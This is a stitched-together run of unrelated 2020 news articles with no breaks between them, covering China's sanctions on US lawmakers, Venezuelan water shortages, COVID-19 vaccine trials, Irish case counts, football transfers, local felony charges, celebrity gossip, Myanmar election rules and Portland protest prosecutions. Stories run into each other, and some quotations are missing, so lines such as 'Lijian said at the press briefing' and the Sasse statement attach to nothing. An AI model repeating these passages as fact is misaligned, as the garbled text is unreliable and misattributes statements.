series of oppressive restrictions designed to quell protests and subject Hong Kong citizens, long considered freer than their Chinese counterparts, to draconian Chinese rules. China is imposing new sanctions on 11 U.S. citizens, including a handful of lawmakers, in retaliation for the action the U.S. took against Hong Kong officials last week.China's Foreign Ministry spokesman Zhao Lijian announced the new sanctions on Monday during a daily press briefing, according to The Wall Street Journal . The new sanctions will hit five GOP lawmakers who are considered hawks on China and have been critical of Beijing's actions in Hong Kong: Sens. Tom Cotton of Arkansas, Ted Cruz of Texas, Marco Rubio of Florida, Pat Toomey of Pennsylvania, and Rep. Chris Smith of New Jersey.Also included in the list of sanctioned Americans are Human Rights Watch executive director Kenneth Roth, National Endowment for Democracy President Carl Gershman, and Freedom House President Michael Abramowitz.Lijian said at the press briefing. He did not specify the actions that would be taken. No Trump administration officials are being targeted.China has previously issued sanctions on Cruz and Rubio for calling attention to Beijing's oppression of Uyghers and other ethnic minorities in the country's Xinjiang region.On Friday, the U.S. Treasury Department announced sanctions on at least 11 Hong Kong officials that have been working closely with Beijing to reform and restructure Hong Kong's government and laws.As The Daily Wire reports:On July 1, a new national security law went into effect purportedly banning acts of sedition, subversion, and terrorism. The new law has been used to crack down on dissent from pro-democracy protesters that have demonstrated against Beijing's heavy hand for months. The law also includes a rule that bans anyone from advocating for Hong Kong independence from anywhere in the world.Early Monday, police arrested Hong Kong media tycoon Jimmy Lai and raided the offices of his newspaper Apple Daily. Lai was arrested on suspicion of "collusion" with foreign agents and accused of violating the new national security law. Lai has been an outspoken critic of Beijing and supporter of Hong Kong's pro-democracy movement, according to CNN Sen. Ben Sasse (R-NE) said in a statement. By the time Ghislaine Maxwell was fighting allegations that she had procured underage women to provide sexual services for her ex-boyfriend Jeffrey Epstein, there was a new man in her life. His name was Scott Borgerson. Ms. Maxwell, according to her friend Christopher Mason, described him sometime around 2015 as a Navy SEAL, though he was actually a former Coast Guard officer. It didnt exactly surprise Mr. Mason (or others she described Mr. Borgerson to in the same way) when this fact came to light. Ms. Maxwell had always been known among her friends as a person with a singular ability to mythologize her own reality. In an effort to rebrand herself from jet-setting cosmopolitan to oceanic conservationist, Ms. Maxwell had in 2012 founded and appointed herself C.E.O. of the TerraMar Project, an opaque organization that had no offices and gave no grants to other organizations. It was disbanded in 2019. Caracas residents are taking matters into their own hands in their fight to survive amid a lack of basic essential services... even tapping into a rainwater lagoon for water. Reuters took the plunge with one group of residents siphoning water off a mountain to sustain their neighborhood. They are among scores who no longer receive goods and services, including water, once subsidized by President Nicolas Maduro's Socialist Party. That ruling party has seen a six-year economic collapse despite Venezuela's oil wealth, and the decay of state-run utilities has led to constant shortages. Venezuelans now have to pay the equivalent of several months' salary for a few days of water, gas or cellphone because private alternatives are priced in dollars. To one of the shortages - This group has taken the extraordinary step of building a system to take advantage of water from a rainwater lagoon that built up at a stalled tunnel construction project. They used 1,300 meters of hoses for the network and the residents contributed 10 dollars each to buy parts. Yraima Moscoso was among those who led the charge. "We decided one day to go into the tunnel. I met with the community and presented the project and they accepted. We found that inside the tunnel there were a lot of hoses and that this work had been abandoned for years... So we decided to take the hoses out and deploy them in the community to create water pumps, where people can get water." Residents link hoses between different communities to share water or carry bottles back-and-forth for several kilometers. While water costs less than a dollar per month at subsidized rates, cisterns can cost $100, which is nearly 50 times the monthly minimum wage. Marcos Figuera says he owes a debt of gratitude for those who helped create the water system. "Thank God we have that well, without that well it would be very difficult to get water. Thank you to the people who worked there for extracting the hoses and installing a pipe to have water. I hope the neighborhood can have water, and at least that installation will give water to the people who do not have it." Organizers say they can't spend their time complaining about their lack of vital goods. Instead, the dire circumstances has led them to focus on solutions in their fight to survive. Virginia House Speaker Eileen Filler-Corn, D-Fairfax: [Harris] will make us all proud as the next Vice President of the United States. Madame Vice President has a nice ring to it! She was there for us last year to help us take the majority in VA and we will be there for her working to elect [Biden] and Kamala on Nov 3! Samantha Cotten, Virginia spokeswoman for the Trump campaign: Kamala Harris has solidified Joe Bidens campaign as the most radical ticket in history. The only way to stop their dangerous agenda is to re-elect President Trump in November. Sen. Mark Warner, D-Va.: I have gotten to know Kamala during her time serving on the Intelligence Committee and I know the strength she brings to the ticket. She comes ready to do the work. Thats who she is. Rep. Bobby Scott, D-3rd: [Harris] is one of our nations most brilliant and dedicated public servants. Ive known her for years and she was smart on crime before it was popular. [Biden] made a great choice in selecting her to be our next Vice President. Lets get to work and elect #BidenHarris2020! A Taylor woman was among the first COVID-19 vaccine volunteers in Michigan to receive their first shots last week, in an effort to help find a safe, effective vaccine to the deadly coronavirus. Henry Ford Health System is the first hospital system in Michigan to administer a COVID-19 vaccine study. The pioneering hospital system, a leading research institution in Michigan, is the only Phase 3 trial site for the Moderna mRNA-1273 Coronavirus Efficacy (COVE) vaccine study in the state. This is a historic moment, said Dr. Marcus Zervos, division chief of Infectious Disease for Henry Ford Health System. A vaccine is our best hope in the fight against COVID-19, and were glad to be a part of bringing this opportunity to the Midwest. One of the first volunteers was Ashley Wilson, 24, of Taylor, who worked across from the World Trade Center in March, employed in public policy in Manhattan after graduating from the University of Michigan in 2018. Then COVID-19 hit. We thought wed be back to work in two weeks, Wilson said, who was told a few days later that the office would be shut down for months. She stuck it out until her lease was up in June, determined she wouldnt suddenly flee like so many her age. It was literal destruction: friends of coworkers dying, family members of coworkers dying, kids my age dying, she said. It was very evident in New York City how dangerous this virus is and how dangerous normal, everyday things can be, like going to the grocery store. She moved back home to metro Detroit, to her parents home in Taylor, where they had moved after Wilson grew up in Southwest Detroit. She became one of the first people to participate in the Moderna COVE Vaccine Study on Aug. 5, the first day COVID-19 vaccine study shots were administered in the state of Michigan. Henry Ford Health System is the only site between Cleveland and Chicago for the vaccine study, one of 87 sites in the United States. Henry Ford is enrolling volunteers into this randomized double-blind study of whether a two-dose vaccine prevents COVID-19 infection in those exposed to the coronavirus. About 90 healthcare systems across the United States are working competitively to enroll a total of 30,000 volunteers to participate in the Moderna vaccine study. The study will close to volunteers once 30,000 people are enrolled, so signing up at www.HenryFord.com/ModernaVaccine quickly is crucial. At this time, Michigan sites for enrollment are located in Detroit at the Henry Ford Hospital Emergency Department (with a separate entrance), Henry Fords headquarters at 1 Ford Place in Midtown Detroit and at the HAP building (home to the Employee Health clinic) across the street from the main hospital. I feel like young people are not taking responsibility for this pandemic like other age groups, Wilson said, adding that she feels lucky that she has the privilege of being able to work from home and socially distance in a safe spot. She said she volunteered for the Moderna vaccine study to help determine if the vaccine is safe and effective for people like her mother, who works in a nursing home, and her grandfather, who is in his 90s. This feels like a way of contributing and using that privilege for good, she said. Victor McFadden, 64, of Detroit, retired a few months ago and was set to move to Myrtle Beach. That is, he was headed there until COVID-19 halted his plans. I was going to paradise and it was taken away, said McFadden, who had worked in Environmental Services at Henry Ford Hospital, sharing photos of him on the beach and a crisp gray colonial waiting for him in South Carolina. I had everything packed, ready to go, then this happened. And Its devastated the whole world. And if I can give it a jumpstart to try to find some type of way to get this over with, Im all willing to do it. Since COVID-19 hit, hes been staying home alone and making only necessary trips out to stay safe. Unfortunately, Im the only one of my family here, and Im extra careful because I dont want to be lost, if something happens, he said. So whatever it takes. Ive been quarantined in the house for four months now. I go out every once in a while. I dont let anyone over. I try to keep less contact with people because I know what Im doing; its everybody else I have to worry about. He decided to sign up for the vaccine to help others, particularly nurses like his sister. Being here doing this may go down in history; its not the way I really wanted to do it, he said. But (Ill do) whatever it takes to try to get this virus under control. I feel for the nurses; they are the heroes, to go to work every day and put up with this. My sister is a nurse in South Carolina; theyre troopers. I give them all the respect in the world. The studys first two phases involving more than 600 participants found the vaccine to be safe. Phase 2 showed the vaccine helped produce antibodies; Phase 3 will determine whether that helps protect against COVID-19. Typical vaccines for viruses are made from a weakened or inactive virus, but the mRNA-1273 study vaccine is not made from the SARS-CoV-2 virus. It is made from messenger ribonucleic acid (mRNA), a genetic code that tells cells how to make protein. In this case, the protein is a small part of the virus that is thought to help the bodys immune system make antibodies to fight the virus. However, people may still become infected with SARS-CoV-2 in their everyday activities, despite receiving the studys two shots. All study participants will have a 50% chance of receiving the study vaccine or placebo, a sterile saline solution that does not contain any active vaccine. Anyone age 18 or older who is not immune-compromised or pregnant or planning to become pregnant can volunteer for the study, as long as they have not had COVID-19 or another vaccine or treatment. Researchers are particularly interested in recruiting: ?Those at high risk of COVID-19 infection, defined as adults whose locations or circumstances put them at greater risk of exposure to the virus responsible for COVID-19. ?Adults who are at high risk for severe COVID-19 based on age of 65 years or older. ?Adults who are at high risk due to pre-existing medical conditions that are stable at the time of screening. BAKU, Azerbaijan, August 11 By Jeila Aliyeva - Trend: Iranian Shilat (Fisheries Company) is interested in supplying its products to the Turkmen market, Trend reports with reference to Turkmenportal information portal. The company intends to supply different types of caviar and fish, fish feed, as well as fish oil in the composition with omega-3 syrup. In addition, the company expressed a desire to create a trade and exhibition house of iran's marine products in Turkmenistan. The Iranian company seeks to cooperate with the business community of Turkmenistan on the issues of technological and technical support for the organization of fisheries, engineering and technical maintenance of places where seafood and fish are grown, and the development of aquaculture, said the report. The two countries have accumulated a lot of experience working together. This included projects both implemented and planned, designed to contribute to increasing trade and economic cooperation between Central Asian and Middle Eastern states. Turkmenistan and Iran border on the Caspian Sea and have a long land border. Over the years of long-term cooperation, the countries have implemented a number of large-scale joint projects. In addition to border gas pipelines, the Dostluk (Friendship) dam was jointly built by the two countries. --- Follow the author on Twitter: @JeilaAliyeva Manchester United are lining up a move for Barcelona flop Ousmane Dembele should they fail to sign Jadon Sancho this summer, according to reports. United's 108million pursuit of the England star appeared all but over after the Bundesliga giants insisted Sancho will play for them next season. Dortmund had set a deadline of Monday for United to reach an agreement with them, but the club's chief Michael Zorc insisted United have no chance of signing Sancho now after he jetted off with his team-mates to Switzerland for a pre-season training camp. Manchester United will make a move for Ousmane Dembele if they fail to sign Jadon Sancho Borussia Dortmund want 108million for Sancho a price deemed excessive by United chiefs Sancho is reportedly keen on a move to Old Trafford but United chiefs will turn their attention to Dembele should they fail to agree on a deal for the 20-year-old, according to ESPN. ESPN are reporting that United have held 'informal talks' with Barcelona over a move for the French winger, who has two years left on his current deal. The 23-year-old has endured a disappointing three years at the Nou Camp and has not played a competitive match since November after undergoing surgery on his hamstring in February. United are reportedly wanting to take the former Dortmund star on an initial season-long loan with an obligation to buy, though no official approach has been made, the report claims. Sancho is top of Ole Gunnar Solskjaer's transfer wishlist ahead of the 2020-21 campaign Dembele, who cost the Catalan giants a whopping 136million in 2017, would still need to convince the club to allow him to leave for the Premier League. However, United remain intent on pursuing a deal for Sancho but have become increasingly frustrated at the slow pace of discussions and Dortmund's insistence on using intermediaries to negotiate the deal. Dortmund's valuation of the England winger continues to be a stumbling block along with the players' wages and his agent's fees. Dortmund wanted the situation resolved ahead of the start of their pre-season tour so they could plan ahead for the new campaign but United refused to be rushed into reaching an agreement. Dortmund's deadline was considered an artificial one and a deal could still be struck at a later date. However United will turn their attention to Dembele, who has been out injured since November The two clubs have been in talks but at odds over the fee and structure of a proposed deal with Dortmund's demand for 108m deemed excessive by United in the current climate, amid the coronavirus pandemic. Dortmund's sporting director Michael Zorc said: 'We plan on having Jadon Sancho in our team this season, the decision is final. I think that answers all our questions.' Sportsmail understands that the personal terms United are discussing with Sancho's camp would not break a United wage structure that, following the departure of Alexis Sanchez, is now topped by 375,000-per-week David De Gea and Paul Pogba who is paid 290,000-per-week. There were no new cases of Covid-19 reported in one of three counties at the centre of a localised lockdown. There have been no new deaths reported to the Health Protection Surveillance Centre, but there were 57 new cases nationwide. But while there were 19 new cases in Kildare and 10 in Offaly, there were none in Laois. The three counties are subject to more stringent restrictions than the rest of Ireland because of a recent spike in cases. "A couple of weeks ago, if we had seen 57 cases in any day of the week, we would have been concerned. Obviously it's a significant improvement in what we've seen over the last couple of days," said acting chief medical officer Dr Ronan Glynn. "It's going to be next week before we can really assess the impact of the measures in particular Kildare, Laois and Offaly, but clearly we are seeing a significant number of cases in other counties." He warned the blame should not be placed in relation to the virus and that he understands that people are "tired". "There's no blame to be attached to either acquiring or transmitting this disease. "We're still in a good place relative to many regions and countries across the world," he added. The latest figures bring the total coronavirus cases in the country to 26,768 confirmed cases and 1,772 deaths. Twenty-nine of the new cases are men and 28 are women, with 70pc aged under 45. Thirty-one are associated with outbreaks or are close contacts of a confirmed case, with eight identified as community transmission. There were 11 cases in Dublin, seven in Limerick, and the rest in Clare, Cork, Galway, Kerry and Wicklow. There are currently 12 cases in hospital and seven in intensive care units. It comes as a new report found that one in 20 coronavirus cases were imported into the country in the months of June and July. According to a new European Centre for Disease Prevention and Control (ECDC) report, 40 Covid-19 cases out of a total of 748 reported in the country during June and July were imported from abroad, or 5.3pc. This is a significantly higher rate than January to May, which was 1.8pc, with 392 cases imported during those five months. Malta, the Netherlands and Portugal saw 0pc of imported cases during June and July, while 75.6pc of cases in Cyprus came from abroad during this period. Ireland's 5.3pc rate is higher than Croatia's 5pc, but is still one of the lowest in Europe. The report also states that countries with an increased percentage of positive tests but who have relaxed measures have a higher risk of a second wave than those that have maintained measures or strengthened restrictions. "Countries that see an increase in the percentage of positive tests and have relaxed or removed various control measures will be at higher risk of resurgence than countries that have maintained measures or strengthened them. "As countries implement multiple response measures and the public's adherence to these measures varies, it also remains difficult to quantify the risk posed to each country," it states. The ECDC notes that widespread testing strategies will identify resurgences of the virus early. Its report also recommends that all people with Covid symptoms be tested, that testing be made accessible and that it be promoted so people with even the mildest symptoms are tested. It states that several countries in the EU, EEA and the UK are seeing a resurgence in the virus after stricter measures were lifted in March and April. It adds that "response fatigue" and economic impacts are "compromising" the public adhering to guidelines. New Russian virus vaccine one among many Several candidate vaccines are in phase 3 trials including a Chinese variant from biopharmaceutical company Sinovac in collaboration with Brazilian research institute Butantan With Russia's announcement Tuesday that it had become the first country to approve a vaccine against COVID-19, here is a look at the more than two dozen other candidates currently in development. - 'Sputnik' - Russian President Vladimir Putin shocked the international community by claiming the new vaccine -- dubbed "Sputnik V" after the Soviet satellite -- conferred "sustainable immunity" against the novel coronavirus. He said that one of his daughters had been inoculated with the vaccine, developed by the Gamaleya research institute and the Russian defence ministry. A vector vaccine -- meaning it employes another virus to carry the immune response into human cells -- Sputnik is based on similar technology to a Chinese prototype. Deputy Prime Minister Tatyana Golikova said she hoped the vaccinations could begin within weeks, but details about the process were scant. Last week the World Health Organization urged Moscow to follow established guidelines and "go through all the stages" needed to develop a safe vaccine. Eleanor Riley, professor of Immunology and Infectious Disease at the University of Edinburgh, said larger, phase 3 trials were needed for Sputnik. Phase 3 trials test the safety and efficacy of new medicines and can last several years. "But there is a big difference between a large vaccine trial (with careful and frequent follow up of all vaccinated individuals) and deployment of a vaccine to the general public," said Riley. Francois Balloux, professor of Computational Systems Biology at University College London went as far as to dub Russia's announcement "reckless and foolish". - Advanced trials - The WHO says there are 26 "vaccine candidates" currently undergoing clinical trials worldwide. Several are in the final phase 3 stage, whereby developers -- testing on large cohorts, up to tens of thousands of people -- monitor for efficacy and potential toxicity prior to eventual submission for approval. Story continues These include a European project being developed at Oxford University in tandem with AstraZeneca and a Chinese variant from biopharmaceutical company Sinovac in collaboration with Brazilian research institute Butantan. The latter is being tested on 9,000 health professionals in Brazil. A vaccine developed by Germany's BioNTech and US pharma giant Pfizer entered phase 3 last month, with the companies planning to test it on 30,000 young volunteers. The American firm Moderna also says it plans to trial its vaccine among 30,000 people. Since mid-July China's Sinopharm has begun testing its candidate on 15,000 people in the United Arab Emirates. - Dozens of candidates - Beyond the tests already under way, the WHO is monitoring a further 139 potential vaccines which are still at the pre-clinical evaluation stage, involving testing in the lab or on animals. US biotech company Novavax said last week its experimental COVID-19 vaccine had elicited a robust immune response, producing more antibodies than are present in recovered patients. It said the candidate vaccine was generally well tolerated among volunteers. The final stage Phase 3 trial of the product, called NVX-CoV2373, is set to take place this autumn. The European Union has ordered 300 million doses of potential vaccine from French drug producer Sanofi, and the US has said it will pay $2.1 billion for its development. Britain has also ordered 60 million doses of the Sanofi vaccine, developed in conjunction with GSK. bur-pg/mh/bp JERSEYVILLE Two people were charged with weapons-related and other felonies recently by the Jersey County States Attorneys Office. Cassandra M. Crader, 32, of Jerseyville, and Joshua K. Boxdorfer, 37, of Hamburg, were both charged Aug. 6 with aggravated possession of stolen firearms, both Super Class X felonies; residential burglary, both Class 1 felonies; and theft, both Class 3 felonies. According to court documents, on Aug. 6 the two entered a home on Hollow Avenue, Jerseyville, to commit theft. A number of items were taken, including 12 guns, a laptop, bow and arrows and an iPad. The firearms included shotguns, handguns and rifles. Bail was set at $75,000 each. Other felony charges recently filed by the Jersey County States Attorneys Office include: Courtney D. Broderick, 41, of Springfield, was charged Aug. 7 with unlawful possession of methamphetamine, a Class 3 felony; and driving while under the influence of drugs, a Class 2 felony. According to court documents, on Aug. 6 Broderick was found to be in possession of less than five grams of methamphetamine, and was driving a 2020 Toyota on State Street in Jerseyville while under the influence of drugs, and had previous related convictions in Sangamon and Montgomery counties. Bail was set at $7,500. Eric C. Fuchs, 44, of Springfield, was charged Aug. 7 with unlawful possession of methamphetamine, a Class 2 felony. According to court documents, on Aug. 7 he was found to be in possession of less than five grams of methamphetamine. Bail was set at $5,000. Zachery S. Booten, 31, of Brighton, was charged Aug. 5 with unlawful possession of certificate of title without complete assignment, a Class 4 felony. According to court documents, on Aug. 4 he was found to possess a title for a 1993 Toyota Tercel without complete assignment. Bail was set at $5,000. Ashley R. Winters, 34, of Eldred, was charged Aug. 5 with unlawful possession of methamphetamine, a Class 3 felony. According to court documents, on Aug. 5 Winters was found to be in possession of less than five grams of methamphetamine. Bail was set at $5,000. Aaron M. West, 36, of Elsah, was charged Aug. 4 with domestic battery, a Class 4 felony. According to court documents, on July 30 West grabbed, shoved and poked a household member in the chest, and had a previous conviction from Macoupin County. Bail was set at $10,000. Jon G. Deneef, 34, of Elsah, was charged Aug. 5 with aggravated battery, a Class 3 felony. According to court documents, on Aug. 1 Deneef struck a woman on the left side of her head with a shovel. Bail was set at $25,000. Bindi Irwin announced on Tuesday evening that she was expecting her first child with her husband of five months, Chandler Powell. But her exciting news risked being overshadowed by another family member. Just hours before the 22-year-old wildlife warrior shared her pregnancy joy on Instagram, her older cousin Rebecca Lobie posted a very risque selfie. Check her out! Steve Irwin's 'hot niece' Rebecca Lobie unwittingly upstaged her estranged cousin Bindi's pregnancy announcement on Tuesday with this racy bikini photo Mother-of-two Rebecca, 32, shared a glamorous photo of herself modelling a skimpy pink bikini, which barely concealed her ample assets. The restaurant manager, who achieved viral fame earlier this year as 'Steve Irwin's hot niece', captioned the post: 'Love me or hate me, I'm still going to shine.' Bindi revealed her pregnancy two hours later, uploading a photo to Instagram of herself and Chandler, 23, holding a tiny version of the Australia Zoo uniform. Baby on board! Bindi revealed her pregnancy just two hours after Rebecca shared her eye-popping selfie. The 22-year-old wildlife warrior uploaded this photo to Instagram of herself and husband Chandler Powell, 23, holding a tiny version of the Australia Zoo uniform Exciting news: 'Baby Wildlife Warrior due 2021. Chandler and I are proud to announce that we're expecting!' she told her followers 'Baby Wildlife Warrior due 2021. Chandler and I are proud to announce that we're expecting!' she told her 3.6 million followers. 'It's an honour to share this special moment in our lives with you. Though I'm still in my first trimester, we really want you to be part of our journey from the beginning of this new life chapter. 'We couldn't wait to share the news as this beautiful little being has become the most important part of our lives. Your support means the world to us. 'Please let me know your best advice and send good vibes and prayers to our little sweetheart. Love and light.' Just a coincidence! Daily Mail Australia is not suggesting that Rebecca deliberately tried to steal the spotlight from her cousin. The timing of her bikini post was likely just a coincidence Daily Mail Australia is not suggesting that Rebecca deliberately tried to steal the spotlight from her cousin. The timing of her bikini post was likely just a coincidence. Rebecca rose to prominence in September last year, when her racy Instagram photos caught the attention of the wider media. In the months since going viral, she has grown in confidence and has shared countless pictures of herself in revealing swimwear and lingerie. Rebecca is the daughter of Frank Muscillo, who is married to Steve Irwin's sister Joy. Steve, known to millions around the world as 'The Crocodile Hunter', died in September 2006 at the age of 44 after being pierced in the chest by a stingray barb while filming a wildlife documentary in Batt Reef, Queensland. Her time to shine! Rebecca rose to prominence in September last year, when her racy Instagram photos caught the attention of the wider media Family connection: Rebecca is the daughter of Frank Muscillo, who is married to Steve Irwin's sister Joy. She was previously managing director of Australia Zoo, but left in December 2015 Tragedy: Steve Irwin (right, with Bindi) died in September 2006 at the age of 44 after being pierced in the chest by a stingray barb while filming a documentary in Batt Reef, Queensland Rebecca was previously the managing director of the Irwin family business, Australia Zoo, but left in December 2015. She is rumoured to be estranged from Bindi, and the once-close cousins no longer follow each other on Instagram. According to New Idea in June, friends of Bindi suspected that the straight-laced wildlife warrior wouldn't approve of Rebecca's racy snaps. '[She] would be mortified by her cousin's social media posts,' a source said. Election 2020 Election Board in Myanmar Warns Against Illegal Campaigning on Facebook Ayeyarwady Region Election Sub-commission Office. / Salai Thant Zin / The Irrawaddy PATHEIN, Ayeyarwady RegionThe Pathein District Election Sub-commission has warned individual candidates against campaigning on Facebook before the official campaign period, according to commission chair U Tint Lwin. The district election sub-commission issued a warning to political parties last Wednesday, he said, following criticisms that candidates from various parties as well as independent candidates are soliciting votes on Facebook. [Individual candidates] are not allowed to solicit votes before the commission sets the campaign period, though [parties] are allowed to rally public support, he said. While the Union Election Commission (UEC) has not officially opened the election campaigning period, it said that from Sept. 8 to Nov. 6, political parties will be allowed to present their policies in 15 minute spots through state broadcasters. If individual candidates share posts [that ask for votes] in a competitive way, this can result in unnecessary problems, so we have issued a warning to all the political parties to ensure impartiality, said U Tint Lwin. The district election sub-commission has also warned those who have submitted candidacy applications not to describe themselves as candidates or solicit votes online before the commission approves them as candidates. The commission has not yet assessed their eligibility. They are still candidacy applicants. Only after the commission approves them, they will be candidates. Even then, they still are not allowed to do campaigning, U Tint Lwin explained. It is not clear if the warning was issued at the national level. We can accept it if the warning is issued to all the parties. But we are a new party and we have to introduce ourselves to the people, said Dr. Aye Nyein Tun, a candidate from the Peoples Pioneer Party in Pathein. We dont ask for votes but we have to introduce ourselves to the people. The UEC will assess the eligibility of candidates from Aug. 11-17 and will then announce which candidates have qualified to run in Novembers election. In Pathein District, a total of 160 people, including representatives from 15 political parties and independents, have submitted applications to run in the election. Translated from Burmese by Thet Ko Ko. You may also like these stories: Non-Signatories to Myanmars Nationwide Ceasefire Agreement Yet to Decide on Attending Peace Conference Former Suu Kyi Ally Behind New Political Party Bows Out of Myanmar Election Multnomah County District Attorney Mike Schmidt, leaning on a group of community representatives he called his transition team, announced Tuesday that his office will drop most of the charges filed against protesters in Portland. His prosecutors wont pursue demonstrators accused of interfering with police, disorderly conduct, criminal trespass, escape or harassment if the allegations dont involve deliberate' property damage, theft or force against another person or threats of force, Schmidt said. The office also wont prosecute people on a riot accusation alone. Prosecutors will proceed with a riot case only if it includes an accompanying allegation of specific property damage or use of force, he said. What were doing is recognizing that the right to speak and have your voice heard is extremely important, Schmidt said. If youre out there committing violence, youre damaging property, those cases are going to be prosecuted. If youre a person who is out there demonstrating and you get caught up in the melee, those are the kinds of cases that were talking about. His statements came during his first news conference at the Multnomah County Courthouse since he took over Aug. 1 as the countys top prosecutor, running on a platform of progressive reform to reshape the criminal justice system. Schmidt was surrounded by four Black leaders from Portland who are part of his 15-person transition team, a rare display of public collaboration between community members and a Multnomah County district attorney, especially one just days into his new job. The changes, he said, reflect his recognition that people taking to the streets are deeply frustrated by over policing and disparate treatment of people of color and that his office doesnt want to further perpetuate the deep-seated problems. Schmidt said many of the people arrested over 75 days of consecutive daily demonstrations have little to no criminal histories and prosecuting them would cause unnecessary harm. This policy acknowledges that centuries of disparate treatment of Black and brown people have left people with deep wounds,' he said. This policy recognizes in order to advance public safety, we must not only prevent crime but we must also promote economic and housing stability, educational opportunities, strong family and community relationships, mental and physical health and build trust with everybody in our community. READ: The policy change About 550 cases have been referred to the District Attorneys Office for prosecution since May 29 after people began to rally against police violence and systemic racism in the wake of the May 25 death of George Floyd, a Black man who died after a white Minneapolis police officer knelt on his neck for more than eight minutes. Of those cases, about 140 have been for felony crimes, including assault, arson, riot and theft. Of the felonies, prosecutors are pursuing charges in about 45 of the cases, with the rest either dropped or under review as prosecutors seek more information from police, said Nathan Vasquez, a senior deputy district attorney. I want to make it very clear though, this is not a free pass,' Schmidt said. While I will do what I can to provide protesters with a forum to make their voices heard, I will not tolerate deliberate acts of violence against police or anyone else. Schmidt said he recognizes police are in a tough situation and hopes to develop over time a collaborative relationship with police, though he acknowledged that the policy changes in his office dont prevent the Police Bureau from managing or responding to mass demonstrations in the way the bureau sees fit. Yet Schmidt said he hopes the changes will spur the Police Bureau to focus on building cases against people actually destroying property, lighting fire or hurting people. Portland Police Chief Chuck Lovell said Schmidts policy changes dont alter state law and that the Police Bureau remains committed to public safety. He reiterated that officers would prefer not to make any arrests, but said some people are using the nightly gatherings as an opportunity to commit crimes and his officers arrests are based on probable cause. The arrests we make often come after hours of damage to private property, disruption of public transit and traffic on public streets, thefts from small businesses, arson, burglary, attacks on members of the community, and attacks against police officers, Lovell said in a statement. The majority of those arrested have been white, according to the District Attorneys Office. Schmidt signaled that future reforms in the office will be developed in a similar fashion as these policy changes were adopted. He said he met with community leaders twice, to seek their general input and then to hear their ideas on his proposal. He said he also sought input from his prosecutors in the Strategic Prosecution and Services Unit before sharing the draft proposal Friday with the Lovell, Multnomah County Sheriff Mike Reese and Portland Mayor Ted Wheeler. The chief and sheriff objected to Schmidts office halting riot prosecutions so the compromise was reached. Schmidts move came a day after he dropped charges against Portland activist Demetria Hester in the interest of justice, according to his office. Hester, a regular presence at protests who has been at the forefront of Portland demonstrations as a leader of the Moms United for Black Lives group, was one of 16 people arrested outside the Portland Police Association building Sunday night after authorities declared a riot. She had spent a night in jail on allegations of second-degree disorderly conduct and interfering with a police officer. On Tuesday, Schmidt was joined for his announcement by Ricardo Lujan-Valerio of the Latino Network, Kayse Jama of Unite Oregon, retired Portland Assistant Police Chief Kevin Modica, and Lakayana Drury, co-chair of the Portland Committee on Community-Engaged Policing. Theyre each part of the district attorneys transition team. They all called Schmidts policy change a positive step, but said they wont be satisfied until transformational reforms are made to the criminal justice system. Drury, a former high school teacher who founded the nonprofit Word is Bond, said city officials must consistently ask How do we uphold Black Live Matters in this city? His group works to foster positive relationships between young men of color and police. So the question is, Will we choose to use our resources -- our very valuable and limited resources -- to prosecute our neighbors who are exercising their First Amendment rights to support Black people or will we instead use those limited resources to uplift and battle against white supremacy at all levels in our City? Drury said. He thanked Schmidt for taking this important stand and recognizing a need for a new direction. Jama said hes not interested in the policy change as much as the outcome of this policy, arguing that the entire criminal justice system needs to be reimagined. Mayor Ted Wheeler said he understands Schmidts decision and his need to prioritize resources. He said both Portland police and Oregon State Police will continue to operate under strict operational guidance from his and Gov. Kate Browns offices, protecting the rights of peaceful protesters while holding people accountable for any criminal activity that occurs. Officer Daryl Turner, president of the Portland Police Association, last week accused Schmidt of failing at his job, just seven days into it and before the policy changes became public. Turner urged Schmidt to hold the rioters accountable after a fire was set the night before in a trash can outside East Precinct and wooden boards were placed to block the entrance. To District Attorney Schmidt What about your ethical and moral duties to uphold the law and keep all our citizens safe? The people committing arson and assault are not peaceful protestors; they are criminals, Turner said in a statement. Step up and do your job; hold the rioters accountable. If there is no consequence for crimes from the District Attorneys office, there is no reason for criminals to stop the chaos. Retired Clatsop County District Attorney Josh Marquis called Schmidts news conference amateur political theater. For the first time I can remember in 40 years in Oregon, you have a prosecutor ...making prosecution decisions essentially based on the political views of the demonstrators and his own, Marquis said. He pointed to a 27-year-old man who was arrested early May 30 on allegations of interfering with an officer, resisting arrest and second-degree burglary stemming from actions during a demonstration. His case was dropped Aug. 3 and he was rearrested at another protest about 1:30 a.m. on Aug. 4, accused of assaulting an officer. The District Attorneys Office also dismissed that charge later that day, court records show. Vasquez said the District Attorneys Office so far is pursuing three arson and two reckless burning prosecutions stemming from the protests. Wed like to prosecute as many as those arson cases as we can, he said. The issue is being able to identify the people involved. A problem police and prosecutors are facing is the lack of cooperation from witnesses at the protests, Vasquez said. The office is also monitoring an ongoing investigation by police into allegations that a man set off a pipe bomb at Laurelhurst Park that was directed at protesters about 2:30 a.m. Saturday. Schmidt said prosecutors will carefully scrutinize allegations of resisting arrest or assaulting a public safety officer to determine their context. For instance, he said, prosecutors will consider if the accusations sprung from the chaos of a protesting environment, where some people have been gassed repeatedly, struck with impact munitions or are acting out because they believe police have mishandled fellow protesters. Those likely will be dismissed, he said. And protesters accused of crimes that caused only financial harm will be offered conditional dismissal after paying restitution or making other amends, he said. The most common felony charge referred to the district attorneys office from Portland protests has been riot -- 44 cases since May 29. The most common misdemeanor charge referred has been interfering with an officer, 313 cases, according to Schmidts office. Misdemeanor allegations make up the vast number of charges people have faced upon arrest. City Commissioner Jo Ann Hardesty applauded Schmidts actions, saying the changes represent a move away from status quo -- a failing system never intended to provide justice for all and towards a more just one. I am excited to work with the DA to reimagine what community safety looks like for everyone. The district attorneys changes wont affect federal charges pending against demonstrators. Dozens face allegations ranging from assault on a federal officer to arson, including a federal arson charge stemming from the blaze set inside Multnomah Countys Justice Center in late May. Schmidt is a former Multnomah County deputy district attorney and most recently served as executive director of the states Criminal Justice Commission, the states clearinghouse for criminal justice data. He beat Ethan Knight, an assistant U.S. attorney, for the job during the May election. Schmidt garnered more than 76 percent of the vote. When predecessor Rod Underhill announced he was resigning at the end of July, five months earlier than planned, Gov. Kate Brown appointed Schmidt to take charge of the office. Hes identified his two top priorities as addressing racial disparity in Oregons criminal justice system and police accountability. On Tuesday, he also said he intends to address inequities created by cash bail. -- Maxine Bernstein Email at mbernstein@oregonian.com; 503-221-8212 Follow on Twitter @maxoregonian Subscribe to Facebook page Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories. The Iranian side had previously confirmed its readiness to compensate for losses. Ukrainian Deputy Foreign Minister Yevhen Yenin says Iran will have to compensate Ukraine's largest air 